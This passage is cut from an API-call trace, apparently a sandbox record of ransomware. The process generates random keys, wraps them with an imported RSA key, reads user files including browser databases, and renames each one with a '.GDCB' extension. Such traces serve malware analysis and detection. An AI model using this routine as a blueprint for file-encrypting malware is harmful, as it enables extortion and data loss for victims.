Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\smartscreencache.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SmartScreenCache.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\smartscreencache.dat.gdcb")) returned 0 [0196.259] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.261] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.261] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.261] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.263] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.263] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.263] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.265] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c2b8) returned 1 [0196.265] CryptGetKeyParam (in: hKey=0x508c2b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.266] CryptEncrypt (in: hKey=0x508c2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6300000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6300000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.266] GetLastError () returned 0x0 [0196.266] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.266] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0196.268] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c378) returned 1 [0196.268] CryptGetKeyParam (in: hKey=0x508c378, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.268] CryptEncrypt (in: hKey=0x508c378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6310000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6310000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.268] GetLastError () returned 0x0 [0196.268] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.268] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\suggestedsites.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0196.270] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6320000 [0196.272] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6330000 [0196.273] ReadFile (in: hFile=0x510, lpBuffer=0x6330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6330000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0196.282] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6440000 [0196.464] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\suggestedsites.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SuggestedSites.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\suggestedsites.dat.gdcb")) returned 1 [0196.475] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.478] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.478] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.478] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0196.479] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.480] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.480] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.480] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0196.482] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c578) returned 1 [0196.482] CryptGetKeyParam (in: hKey=0x508c578, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.482] CryptEncrypt (in: hKey=0x508c578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6300000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6300000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.482] GetLastError () returned 0x0 [0196.482] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.482] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0196.484] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c478) returned 1 [0196.484] CryptGetKeyParam (in: hKey=0x508c478, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.484] CryptEncrypt (in: hKey=0x508c478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6310000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6310000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.484] GetLastError () returned 0x0 [0196.484] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.484] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.488] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0196.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.491] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.491] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.491] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0196.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.493] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.493] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.493] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.495] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c4b8) returned 1 [0196.495] CryptGetKeyParam (in: hKey=0x508c4b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.495] CryptEncrypt (in: hKey=0x508c4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6320000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6320000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.496] GetLastError () returned 0x0 [0196.496] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.496] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0196.497] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508ce38) returned 1 [0196.498] CryptGetKeyParam (in: hKey=0x508ce38, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.498] CryptEncrypt (in: hKey=0x508ce38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6330000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6330000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.498] GetLastError () returned 0x0 [0196.498] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0196.500] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6340000 [0196.501] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6350000 [0196.502] ReadFile (in: hFile=0x510, lpBuffer=0x6350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6350000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0196.512] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6460000 [0196.585] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log.gdcb")) returned 1 [0196.589] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0196.591] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.592] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.592] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.594] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.594] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0196.596] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508cbf8) returned 1 [0196.596] CryptGetKeyParam (in: hKey=0x508cbf8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.596] CryptEncrypt (in: hKey=0x508cbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6320000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6320000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.596] GetLastError () returned 0x0 [0196.596] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0196.596] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0196.598] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508cab8) returned 1 [0196.598] CryptGetKeyParam (in: hKey=0x508cab8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.598] CryptEncrypt (in: hKey=0x508cab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6330000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6330000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.598] GetLastError () returned 0x0 [0196.598] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.598] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0196.600] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6340000 [0196.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6350000 [0196.602] ReadFile (in: hFile=0x510, lpBuffer=0x6350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6350000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0196.611] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6460000 [0196.697] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log.gdcb")) returned 1 [0196.701] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.704] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0196.704] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.704] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0196.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.706] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0196.706] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.706] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.709] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508ce78) returned 1 [0196.709] CryptGetKeyParam (in: hKey=0x508ce78, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.709] CryptEncrypt (in: hKey=0x508ce78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6320000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6320000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0196.709] GetLastError () returned 0x0 [0196.709] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.709] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0196.711] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c9f8) returned 1 [0196.711] CryptGetKeyParam (in: hKey=0x508c9f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0196.711] CryptEncrypt (in: hKey=0x508c9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6330000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6330000*, pdwDataLen=0x285d630*=0x100) returned 1 [0196.711] GetLastError () returned 0x0 [0196.711] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0196.711] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.764] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0196.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.767] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0196.767] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.767] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0196.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0196.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0196.769] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0196.769] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0196.769] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0196.771] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508ccb8) returned 1 [0196.771] CryptGetKeyParam (in: hKey=0x508ccb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.771] CryptEncrypt (in: hKey=0x508ccb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0196.771] GetLastError () returned 0x0 [0196.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0196.771] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0196.773] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508c878) returned 1 [0196.773] CryptGetKeyParam (in: hKey=0x508c878, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0196.773] CryptEncrypt (in: hKey=0x508c878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d120*=0x100) returned 1 [0196.773] GetLastError () returned 0x0 [0196.774] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0196.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\Databases.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\databases\\databases.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 